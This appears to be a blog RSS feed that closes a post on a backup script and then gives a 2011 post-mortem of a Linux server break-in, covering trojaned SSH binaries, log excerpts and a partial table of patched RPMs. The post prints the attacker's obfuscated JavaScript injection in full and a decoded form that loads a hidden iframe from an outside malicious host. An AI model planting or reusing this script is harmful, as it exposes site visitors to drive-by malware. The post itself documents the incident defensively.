<li>Make a deal with a friend &#8212; he lets you use unused space on his hard disk to scp your crates to every night when you back up, and vice versa.</li>
<li>Free cloud storage! See <a href="../?p=2504">http://blog.kamens.us/</a> for a list of cloud storage platform which will give you a total of 50GB of free storage just for asking. You can store a lot of crates in 50GB!</li>
<li>Upload them to Amazon S3 or some other commercial cloud storage service.</li>
</ul>
<p>Personally, I have uploaded most of my crates, the ones containing older files that change rarely if ever, by hand to free accounts on SkyDrive and LetScrate. Then, my nightly backup puts new crates in my Dropbox folder, so they get synchronized to the cloud automatically. Occasionally, I compact the Dropbox crates as described above and move some of the compacted crates SkyDrive or LetsCrate as needed.</p>
<p>&nbsp;</p>
<h3><a name="what_if_a_crate_is_too_big"></a>What if a crate is too big?</h3>
<p>You probably have some really huge files (home videos, anyone?) that you want to back up. Since this script doesn&#8217;t split files between crates, any crate containing a really huge file is going to be really huge itself.</p>
<p>Depending on where you store your crates, this may present a problem, since some cloud storage services limit the size of uploaded files.</p>
<p>The easiest solution is to split big crates before uploading it. For example:</p>
<pre>  split -b 50000000 -d crate-#####.tar.bz2.gnupg crate-#####.tar.bz2.gnupg. &amp;&amp; \
  rm crate-#####.tar.bz2.gnupg</pre>
<p>The name of the crate is specified to the &#8220;split&#8221; command a second time with a period at the end of it as the file-name prefix for the split files that are produced.</p>
<p>If you ever need to restore from a split crate, you can cat all of the split files directly into gpg, something like this:</p>
<pre>  cat crate-#####.tar.bz2.gnupg.* | gpg | tar xj</pre>
<p>&nbsp;</p>
<h2><a name="doing_a_restore"></a>DOING A RESTORE</h2>
<p>If you can&#8217;t figure out on your own how to restore from the crates produced by this script, then you probably shouldn&#8217;t use it. CrashPlan is a pretty nice service, and it&#8217;s very inexpensive. <img src='http://blog.kamens.us/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Having said that&#8230;</p>
<p>To restore from a set of crates, you decrypt and untar all the crates in order (preferably as root, so that read-only, updated files can be overwritten) and then remove the ones listed in the &#8220;deleted&#8221; file.</p>
<p>Alternatively, if you just need to restore a specific file, you can look through the crate-<em>#####</em> files in reverse order to find the file you want, and then extract it from the corresponding crate.</p>
<p>&nbsp;</p>
<h2><a name="what_this_script_isn_t"></a>WHAT THIS SCRIPT ISN&#8217;T</h2>
<p>This script isn&#8217;t really intended to preserve historical versions of files or to allow you to recover files that were deleted long ago. It sort of does that if you never compact your crates, but that&#8217;ll eat up a lot of extra storage space for files that change regularly.</p>
<p>Therefore, if you want access to a historical record of your files, as opposed to an emergency recovery snapshot of what you&#8217;ve got on disk right now, this probably isn&#8217;t the right tool for you.</p>
<p>&nbsp;</p>
<h2><a name="author"></a>AUTHOR</h2>
<p>This script was written and is maintained by Jonathan Kamens &lt;<a href="mailto:jik@kamens.us">jik@kamens.us</a>&gt;.</p>
<p>Please let me know if you have questions, comments or suggestions!</p>
<p>&nbsp;</p>
<h2><a name="other_free_backup_solutions"></a>OTHER FREE BACKUP SOLUTIONS</h2>
<p>I won&#8217;t lie to you&#8230; It takes work to set up and use this script for backups. If you&#8217;re the kind of do-it-yourselfer who likes stuff like this, great, but if not, you might be asking yourself, &#8220;Are there other options for backing up my Linux box for free?&#8221;</p>
<p>There are probably quite a few of them, but if you have one that&#8217;s you&#8217;re favorite please free to email me email me and I&#8217;ll add it here, but here&#8217;s the one I like&#8230;</p>
<p>&nbsp;</p>
<h3><a name="crashplan"></a>CrashPlan</h3>
<p>CrashPlan (<a href="http://crashplan.com/">http://crashplan.com/</a>), which I&#8217;ve mentioned elsewhere in this document, will let you back up an unlimited amount of data to their servers for $3.00 per month. This is neat, but they&#8217;ll also let use their easy-to-use software for free to back up your data to your own server instead of theirs.</p>
<p>&#8220;How is that free?&#8221; you&#8217;re asking? Well, if you can find a friend with an Internet connection (who doesn&#8217;t?) and some extra hard drive space (hard drives are <em>really</em> cheap nowadays!), you can back up your system on his hard drive, and <em>vice versa</em>. Both of you need to install the CrashPlan software on your systems and open up your firewalls to allow access to it, and that&#8217;s it. You can configure CrashPlan to limit the amount of bandwidth it uses so it won&#8217;t max out your Internet connection (in fact, it comes configured that way by default). The one caveat is that if you ever do need to do a restore, it&#8217;ll probably take longer from your friend&#8217;s computer than it would from something in the cloud, since most home Internet connections have a slower uplink speed than downlink.</p>
<p>&nbsp;</p>
<h2><a name="donations"></a>DONATIONS</h2>
<p>This script is and always will be free for you to use or modify as you see fit. Having said that, it took me time to write the script, and it takes me time to support the people using it. So if you do use it and save yourself some money, please consider showing your appreciation by sending me a donation at <a href="../support-my-blog/">http://blog.kamens.us/support-my-blog/</a>. Any donation, large or small, is appreciated!</p>
<p>&nbsp;</p>
<h2><a name="copyright"></a>COPYRIGHT</h2>
<p>Copyright (c) 2011 Jonathan Kamens.</p>
<p>This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.</p>
<p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.</p>
<p>&nbsp;</p>
<h2><a name="version"></a>VERSION</h2>
<p>$Id: crateify.pl,v 1.35 2012/01/04 13:07:30 jik Exp $</p>
<p>The current version of this script should always be available from <a href="http://stuff.mit.edu/%7Ejik/software/crateify.pl.txt">http://stuff.mit.edu/~jik/software/crateify.pl.txt</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/11/19/free-linux-cloud-backups-for-cheap-bastards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
			<item>
		<title>Post-mortem of security breach on my Linux server</title>
		<link>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/</link>
		<comments>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/#comments</comments>
		<pubDate>Fri, 16 Sep 2011 19:58:42 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2433</guid>
		<description><![CDATA[On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with. (Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" style="margin-bottom: 5px;" title="Security Breach" src="http://photos.autoexpress.co.uk/images/front_picture_library_UK/dir_473/car_photo_236739_7.jpg" alt="" width="150" height="100" />On the afternoon of September 15, I started getting some strange email messages from cron on my Linux server, which hosts my email, blog, DNS, and several web sites for various non-profit organizations I&#8217;m involved with.</p>
<p>(Background: One of the web sites, an old Drupal installation, handles scheduled tasks through a cron job that periodically fetches the URL /cron.php on the site. Each time /cron.php is fetched, Drupal checks if any scheduled tasks came due since the last time it was fetched, and executes the PHP code for those tasks. The scheduled tasks aren&#8217;t actually supposed to generate any output, so the cron job that fetches /cron.php shouldn&#8217;t generate any output and therefore shouldn&#8217;t cause cron to send email.)</p>
<p>All the sudden, the cron job that fetches /cron.php started sending me email every time that it ran. When I looked closely, I saw that the contents of the email were some strange, totally incomprehensible JavaScript fragment. I was incredibly busy, so although I thought it was curious that this should suddenly start happening, I didn&#8217;t immediately give much thought to it. After it had been stewing in the back of my mind for a couple of hours, however, I suddenly realized with a start that some script kiddie had almost certainly broken into the server and added malicious JavaScript to its pages, so I had no choice but to stop what I was doing and clean up the mess.</p>
<p><span id="more-2433"></span>It turned out that two Drupal files, /index.php and /includes/bootstrap.inc, had indeed had malicious JavaScript appended to the end of them:</p>
<p style="padding-left: 30px;">&lt;script&gt;b=new function(){return 2;};if(!+b)String.prototype.test=&#8221;harC&#8221;;for(i in $=&#8217;esrhserh&#8217;)if(i==&#8217;te&#8217;+'st&#8217;)m=$[i];try{new Object().wehweh();}catch(q){ss=&#8221;";}try{window['e'+'v'+'al'](&#8216;asdas&#8217;)}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd=&#8221;e&#8221;;if({}.asd===&#8217;e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e'](&#8217;321&#8242;);if(a.data==321)t=-1*(d-d2);n=[-t+7,-t+7,-t+103,-t+100,-t+30,-t+38,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+39,-t+121,-t+7,-t+7,-t+7,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+57,-t+7,-t+7,-t+123,-t+30,-t+99,-t+106,-t+113,-t+99,-t+30,-t+121,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+117,-t+112,-t+103,-t+114,-t+99,-t+38,-t+32,-t+58,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+30,-t+113,-t+112,-t+97,-t+59,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+30,-t+117,-t+103,-t+98,-t+114,-t+102,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+59,-t+37,-t+47,-t+46,-t+37,-t+30,-t+113,-t+114,-t+119,-t+106,-t+99,-t+59,-t+37,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+56,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+57,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+56,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+57,-t+106,-t+99,-t+100,-t+114,-t+56,-t+46,-t+57,-t+114,-t+109,-t+110,-t+56,-t+46,-t+57,-t+37,-t+60,-t+58,-t+45,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+60,-t+32,-t+39,-t+57,-t+7,-t+7,-t+123,-t+7,-t+7,-t+100,-t+115,-t+108,-t+97,-t+114,-t+103,-t+109,-t+108,-t+30,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+112,-t+38,-t+39,-t+121,-t+7,-t+7,-t+7,-t+116,-t+95,-t+112,-t+30,-t+100,-t+30,-t+59,-t+30,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+97,-t+112,-t+99,-t+95,-t+114,-t+99,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+38,-t+37,-t+103,-t+100,-t+112,-t+95,-t+107,-t+99,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+113,-t+112,-t+97,-t+37,-t+42,-t+37,-t+102,-t+114,-t+114,-t+110,-t+56,-t+45,-t+45,-t+101,-t+109,-t+109,-t+101,-t+106,-t+99,-t+97,-t+102,-t+99,-t+97,-t+105,-t+44,-t+97,-t+120,-t+44,-t+97,-t+97,-t+45,-t+103,-t+108,-t+98,-t+99,-t+118,-t+44,-t+110,-t+102,-t+110,-t+61,-t+114,-t+110,-t+59,-t+99,-t+55,-t+51,-t+55,-t+47,-t+49,-t+55,-t+99,-t+53,-t+100,-t+52,-t+46,-t+47,-t+48,-t+52,-t+50,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+116,-t+103,-t+113,-t+103,-t+96,-t+103,-t+106,-t+103,-t+114,-t+119,-t+59,-t+37,-t+102,-t+103,-t+98,-t+98,-t+99,-t+108,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+110,-t+109,-t+113,-t+103,-t+114,-t+103,-t+109,-t+108,-t+59,-t+37,-t+95,-t+96,-t+113,-t+109,-t+106,-t+115,-t+114,-t+99,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+106,-t+99,-t+100,-t+114,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+114,-t+119,-t+106,-t+99,-t+44,-t+114,-t+109,-t+110,-t+59,-t+37,-t+46,-t+37,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+117,-t+103,-t+98,-t+114,-t+102,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+100,-t+44,-t+113,-t+99,-t+114,-t+63,-t+114,-t+114,-t+112,-t+103,-t+96,-t+115,-t+114,-t+99,-t+38,-t+37,-t+102,-t+99,-t+103,-t+101,-t+102,-t+114,-t+37,-t+42,-t+37,-t+47,-t+46,-t+37,-t+39,-t+57,-t+7,-t+7,-t+7,-t+98,-t+109,-t+97,-t+115,-t+107,-t+99,-t+108,-t+114,-t+44,-t+101,-t+99,-t+114,-t+67,-t+106,-t+99,-t+107,-t+99,-t+108,-t+114,-t+113,-t+64,-t+119,-t+82,-t+95,-t+101,-t+76,-t+95,-t+107,-t+99,-t+38,-t+37,-t+96,-t+109,-t+98,-t+119,-t+37,-t+39,-t+89,-t+46,-t+91,-t+44,-t+95,-t+110,-t+110,-t+99,-t+108,-t+98,-t+65,-t+102,-t+103,-t+106,-t+98,-t+38,-t+100,-t+39,-t+57,-t+7,-t+7,-t+123];for(i=0;i&lt;n.length;i++)ss+=s(eval(&#8220;n&#8221;+&#8221;["+"i]&#8220;));eval(ss);&lt;/script&gt;</p>
<p>Since this Drupal site is hardly used nowadays and hasn&#8217;t been updated in a long time, my first guess was that somebody had found a way to take advantage of an old Drupal bug to modify files within the site&#8217;s filesystem hierarchy. However, the thing I couldn&#8217;t immediately explain was that neither the modified files nor the directory they lived in were writable by the &#8220;apache&#8221; user which which owns the web server processes. I said to myself, &#8220;Either I&#8217;m missing something, or whoever did this had root access to my server.&#8221; Since I was still incredibly busy, I decided at least for the time being to be optimistic and assume the former because the latter was sure to turn out to be a much bigger pain to deal with. Therefore, I restored the unhacked versions of the files, changed the ownership of all the files in the hierarchy to root, removed write access from the entire hierarchy to everyone, and got on with my day. This was a mistake.</p>
<p>Shortly after, when I was just about to leave the house to go to curriculum night at my kids&#8217; school, I noticed an email message in my inbox saying that another web site I host, an actively maintained MediaWiki site, was reporting an internal server error when people tried to access it. Since it&#8217;s unlikely that the current MediaWiki version would have an unpatched security bug being actively exploited, and even more unlikely that an attacker would exploit separate Drupal and MediaWiki bugs to gain access to a server, it was immediately obvious that someone had, in fact, broken into my server, and I was in for a long night. In the time I had available, all I could do was shut down the web server processes so my server wouldn&#8217;t be serving malicious content onto the web; the next few hours were not my most attentive curriculum night.</p>
<p>Here&#8217;s an overview of what I discovered when I performed a full investigation and mitigation:</p>
<ul>
<li>The MediaWiki files that were modified, with the same JavaScript, were /index.php and /includes/Title.php.</li>
<li>My SSH daemon as well as a number of other SSH executables were replaced. I think the new version which ignored /etc/hosts.deny and had a backdoor to allow root access without going through PAM.</li>
<li>Several other web sites I host were hacked with the same JavaScript:</li>
<ul>
<li>/index.php and /wp-feed.php on my WordPress blog</li>
<li>/charter.html and /index.html on a raw-HTML web site</li>
<li>/index.php on a CMS Made Simple web site</li>
<li>/index.html in the root directory for the default web site (i.e., /var/www/html/index.html on the server filesystem)</li>
<li>/index.php and /includes/footer.php on a currently unused and out-of-date Joomla! web site</li>
</ul>
<li>Here&#8217;s what the obfuscated JavaScript shown above tries to execute:
<pre>if (document.getElementsByTagName('body')[0]) {
    iframer();
}
else  {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src','http://googlecheck.cz.cc/index.php?tp=e959139e7f601264');
    f.style.visibility='hidden';
    f.style.position='absolute';
    f.style.left='0';
    f.style.top='0';
    f.setAttribute('width','10');
    f.setAttribute('height','10');
    document.getElementsByTagName('body')[0].appendChild(f);
}</pre>
</li>
<li>Google Chrome is smart enough to detect and warn about this malicious JavaScript. Firefox isn&#8217;t. I didn&#8217;t try any other browsers.</li>
</ul>
<p>Additional details about what was changed are included below. I saved copies of all of the modified executables and most of the modified web site files, so if you work in internet security by vocation or avocation and feel like disassembling some hacked SSH binaries to see what makes them tick, let me know.</p>
<p>Unfortunately, I can&#8217;t say exactly how the hacker broke into my server. It&#8217;s possible that he took advantage of an unpatched security hole in my virtual machine, but it&#8217;s also possible that he broke into the physical server hosting it, because my VM runs on a VPS infrastructure, in which anyone who with access to the host server has access to all of the processes and files owned by the individual VPSes.</p>
<p>In addition to restoring all of the modified web site files and executables (I ran a complete audit with &#8220;rpm &#8211;verify -a&#8221; as well as comparing the whole filesystem to its previous night&#8217;s backup from before the break-in), I took the following steps to (I hope) protect my server against future incursions:</p>
<ul>
<li>I updated a whole bunch of RPMs on my appliance (full list below), many of which no doubt contained security fixes.</li>
<li>I fixed the configuration of yum-updatesd so that it will (at least I hope it will; I will follow up later to make certain) notify me promptly when future updates are available. I already had it running but configured to send notifications via dbus rather than email, which didn&#8217;t do any good because I never log into the VPS on a graphical console. Shame on me for not making sure this was working properly before.</li>
<li>I reset all of the passwords for accounts that had passwords (accounts whose only access is via SSH public-key authentication do not have passwords).</li>
<li>I changed my own account password not only on my server, but also everywhere else where I used the same password.</li>
</ul>
<h2>More details about the method and content of the attack</h2>
<p>Some interesting log entries from /var/log/secure around when the break-in happened:</p>
<pre>Sep 15 12:28:20 jik3 sshd[3188]: Connection closed by 63.223.110.54
Sep 15 12:37:32 jik3 sshd[1408]: Received signal 15; terminating.
Sep 15 12:37:33 jik3 sshd[16375]: Server listening on 0.0.0.0 port 22.
Sep 15 12:37:55 jik3 sshd[16388]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 12:38:01 jik3 sshd[16435]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:06:53 jik3 sshd[27758]: reverse mapping checking getaddrinfo for lesli.krystledeangeloweb.net [63.223.110.54] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:06:58 jik3 sshd[27890]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:07:48 jik3 sshd[28345]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:08:10 jik3 sshd[28527]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:09:14 jik3 sshd[28926]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:09:15 jik3 sshd[28929]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 15 14:11:32 jik3 sshd[29832]: reverse mapping checking getaddrinfo for 154-168-221-83.stream.uz [83.221.168.154] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 15 14:11:34 jik3 sshd[29834]: pam_unix(sshd:session): session opened for user root by (uid=0)</pre>
<p>I reviewed all of my logs, and this is the only trace I found of the attack (there didn&#8217;t even seem to be anything left behind in /root/.bash_profile, although I suppose it&#8217;s possible that I accidentally erased it). My best educated guess is that the first log line above is a hint that the attacker used a bug in sshd or one of the libraries it links against, probably a buffer overflow or something like that, to gain access to the server. The second and third lines are when the attacker restarted his version of /usr/sbin/sshd. The subsequent lines are him logging in through the modified sshd.</p>
<p>It&#8217;s worth noting that I have a monitor running on my box which notifies me about abnormal syslog messages on a minute-by-minute basis 24&#215;7, but all of the messages above are considered normal so I wasn&#8217;t notified them. I would have been notified if sshd had logged &#8220;Accepted publickey|password for root from <em>IP-address-that-I-don&#8217;t-usually-use</em>,&#8221; but alas the hacker&#8217;s version of sshd suppressed this log message.</p>
<p>The following SSH executables were all modified at 12:36pm:</p>
<ul>
<li>/usr/sbin/sshd</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/scp</li>
<li>/usr/bin/sftp</li>
<li>/usr/bin/ssh</li>
<li>/usr/bin/ssh-add</li>
<li>/usr/bin/ssh-agent</li>
<li>/usr/bin/ssh-keygen</li>
<li>/usr/bin/ssh-keyscan</li>
</ul>
<p>In addition, the files /usr/libexec/sftp-server and /usr/libexec/ssh-keysign, and/usr/share/Ssh.bin were added. The latter was a 600-byte file containing unidentified binary data. The &#8220;file&#8221; utility claims that it is a &#8220;DBase 3 data file (507582464 records),&#8221; which is obviously totally bogus.</p>
<p>Also, a bunch of man pages were added in /usr/share/man: man1/scp.1, man1/sftp.1, man1/slogin.1, man1/ssh-add.1, man1/ssh-agent.1, man1/ssh-keygen.1, man1/ssh-keyscan.1, man1/ssh.1, man5/ssh_config.5, man5/sshd_config.5, man8/sftp-server.8, man8/ssh-keysign.8, and man8/sshd.8. I must admit that it was very considerate for the attacker to include man pages for the binaries he installed! *rimshot*</p>
<h2>Full list of updated RPMs</h2>
<p>Perhaps somebody who follows security patching more closely than I do nowadays can look at this and tell me which of the old RPMs on my server was the attack vector.</p>
<table border="">
<tbody>
<tr>
<th>RPM</th>
<th>Old version</th>
<th>New version</th>
</tr>
<tr>
<td>SysVinit</td>
<td>2.86-15.el5</td>
<td>2.86-17.el5</td>
</tr>
<tr>
<td>apr</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>apr-devel</td>
<td>1.2.7-11.el5_5.3</td>
<td>1.2.7-11.el5_6.5</td>
</tr>
<tr>
<td>audit</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>audit-libs-python</td>
<td>1.7.17-3.el5</td>
<td>1.7.18-2.el5</td>
</tr>
<tr>
<td>authconfig</td>
<td>5.3.21-6.el5</td>
<td>5.3.21-7.el5</td>
</tr>
<tr>
<td>avahi</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>avahi-glib</td>
<td>0.6.16-9.el5_5</td>
<td>0.6.16-10.el5_6</td>
</tr>
<tr>
<td>awstats</td>
<td>6.95-1.el5.rf</td>
<td>7.0-2.el5.rf</td>
</tr>
<tr>
<td>bash</td>
<td>3.2-24.el5</td>
<td>3.2-32.el5</td>
</tr>
<tr>
<td>centos-release</td>
<td>5-5.el5.centos</td>
<td>5-7.el5.centos</td>
</tr>
<tr>
<td>centos-release-notes</td>
<td>5.5-0</td>
<td>5.7-0</td>
</tr>
<tr>
<td>coreutils</td>
<td>5.97-23.el5_4.2</td>
<td>5.97-34.el5</td>
</tr>
<tr>
<td>cpp</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>cryptsetup-luks</td>
<td>1.0.3-5.el5</td>
<td>1.0.3-8.el5</td>
</tr>
<tr>
<td>cups-libs</td>
<td>1.3.7-18.el5_5.8</td>
<td>1.3.7-26.el5_6.1</td>
</tr>
<tr>
<td>curl</td>
<td>7.15.5-9.el5</td>
<td>7.15.5-9.el5_7.4</td>
</tr>
<tr>
<td>cyrus-imapd</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-perl</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>cyrus-imapd-utils</td>
<td>2.3.7-7.el5_4.3</td>
<td>2.3.7-12.el5</td>
</tr>
<tr>
<td>dbus</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-devel</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>dbus-libs</td>
<td>1.1.2-14.el5</td>
<td>1.1.2-16.el5_7</td>
</tr>
<tr>
<td>device-mapper</td>
<td>1.02.39-1.el5_5.2</td>
<td>1.02.63-4.el5</td>
</tr>
<tr>
<td>device-mapper-multipath</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>dmidecode</td>
<td>2.10-3.el5</td>
<td>2.11-1.el5</td>
</tr>
<tr>
<td>dmraid</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>dmraid-events</td>
<td>1.0.0.rc13-63.el5</td>
<td>1.0.0.rc13-65.el5</td>
</tr>
<tr>
<td>e2fsprogs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-devel</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>e2fsprogs-libs</td>
<td>1.39-23.el5_5.1</td>
<td>1.39-33.el5</td>
</tr>
<tr>
<td>emacs</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>emacs-common</td>
<td>21.4-20.el5</td>
<td>21.4-24.el5</td>
</tr>
<tr>
<td>finger</td>
<td>0.17-32.2.1.1</td>
<td>0.17-33</td>
</tr>
<tr>
<td>gcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gcc-c++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>gdb</td>
<td>7.0.1-23.el5_5.2</td>
<td>7.0.1-37.el5_7.1</td>
</tr>
<tr>
<td>gdbm</td>
<td>1.8.0-26.2.1</td>
<td>1.8.0-26.2.1.el5_6.1</td>
</tr>
<tr>
<td>ghostscript</td>
<td>8.15.2-9.12.el5_5</td>
<td>8.70-6.el5_7.3</td>
</tr>
<tr>
<td>giflib</td>
<td>4.1.3-7.1.el5_3.1</td>
<td>4.1.3-7.3.3.el5</td>
</tr>
<tr>
<td>glibc</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-common</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-devel</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>glibc-headers</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>gnome-vfs2</td>
<td>2.16.2-6.el5_5.1</td>
<td>2.16.2-8.el5</td>
</tr>
<tr>
<td>gzip</td>
<td>1.3.5-11.el5.centos.1</td>
<td>1.3.5-13.el5.centos</td>
</tr>
<tr>
<td>hal</td>
<td>0.5.8.1-59.el5</td>
<td>0.5.8.1-62.el5</td>
</tr>
<tr>
<td>httpd</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>httpd-devel</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>hwdata</td>
<td>0.213.18-1.el5.1</td>
<td>0.213.24-1.el5</td>
</tr>
<tr>
<td>initscripts</td>
<td>8.45.30-3.el5.centos</td>
<td>8.45.38-2.el5.centos</td>
</tr>
<tr>
<td>jwhois</td>
<td>3.2.3-8.el5</td>
<td>3.2.3-12.el5</td>
</tr>
<tr>
<td>kernel-headers</td>
<td>2.6.18-194.32.1.el5</td>
<td>2.6.18-274.3.1.el5</td>
</tr>
<tr>
<td>kpartx</td>
<td>0.4.7-34.el5_5.6</td>
<td>0.4.7-46.el5_7.1</td>
</tr>
<tr>
<td>krb5-devel</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>krb5-libs</td>
<td>1.6.1-36.el5_5.6</td>
<td>1.6.1-62.el5</td>
</tr>
<tr>
<td>less</td>
<td>436-2.el5</td>
<td>436-7.el5</td>
</tr>
<tr>
<td>libXfont</td>
<td>1.2.2-1.0.3.el5_1</td>
<td>1.2.2-1.0.4.el5_7</td>
</tr>
<tr>
<td>libbdevid-python</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>libgcc</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgcj</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libgomp</td>
<td>4.4.0-6.el5</td>
<td>4.4.4-13.el5</td>
</tr>
<tr>
<td>libpng</td>
<td>1.2.10-7.1.el5_5.3</td>
<td>1.2.10-7.1.el5_7.5</td>
</tr>
<tr>
<td>libselinux</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
